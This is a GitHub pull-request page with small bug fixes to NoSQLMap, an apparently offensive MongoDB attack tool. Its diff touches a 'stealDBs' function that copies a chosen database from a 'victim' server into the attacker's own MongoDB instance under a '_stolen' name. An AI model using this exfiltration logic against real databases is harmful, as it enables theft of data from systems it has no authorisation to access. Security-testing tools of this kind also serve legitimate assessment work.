Skip to content

fix a little bug of logic #41

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
tcstool merged 5 commits into from
Jun 4, 2016
Merged

fix a little bug of logic #41

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
5 commits
Select commit Hold shift + click to select a range
1374783
operator ''>'' should be replace with ''>=' in 157 line number
youngyangyang04 May 21, 2016
0553105
Merge branch '0.5.1.1' of https://github.com/youngyangyang04/NoSQLMap…
youngyangyang04 May 21, 2016
421cf5a
Description: put the code "myDBConn = pymongo.MongoClient(myDB, 27017…
youngyangyang04 May 22, 2016
6079d24
add the state of Network in line number 192
youngyangyang04 May 22, 2016
fea582f
add condition that optionSet[4] == True in line number 96
youngyangyang04 Jun 4, 2016
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion nosqlmap.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -93,7 +93,7 @@ def mainMenu():
options()

elif select == "2":
if optionSet[0] == True:
if optionSet[0] == True and optionSet[4] == True:
if platform == "MongoDB":
nsmmongo.netAttacks(victim, dbPort, myIP, myPort)

Expand Down
9 changes: 5 additions & 4 deletions nsmmongo.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -154,7 +154,7 @@ def stealDBs(myDB,victim,mongoConn):
while dbLoot:
dbLoot = raw_input("Select a database to steal: ")

if int(dbLoot) > menuItem:
if int(dbLoot) >= menuItem:
print "Invalid selection."

else:
Expand All @@ -163,9 +163,9 @@ def stealDBs(myDB,victim,mongoConn):
try:
#Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
dbNeedCreds = raw_input("Does this database require credentials (y/n)? ")

myDBConn = pymongo.MongoClient(myDB, 27017)
if dbNeedCreds in no_tag:
myDBConn = pymongo.MongoClient(myDB,27017)

myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)

elif dbNeedCreds in yes_tag:
Expand All @@ -189,7 +189,8 @@ def stealDBs(myDB,victim,mongoConn):
if str(e).find('text search not enabled') != -1:
raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...")
return

elif str(e).find('Network is unreachable') != -1:
raw_input("Are you sure your network is unreachable? Press enter to return..")
else:
raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...")
return
Expand Down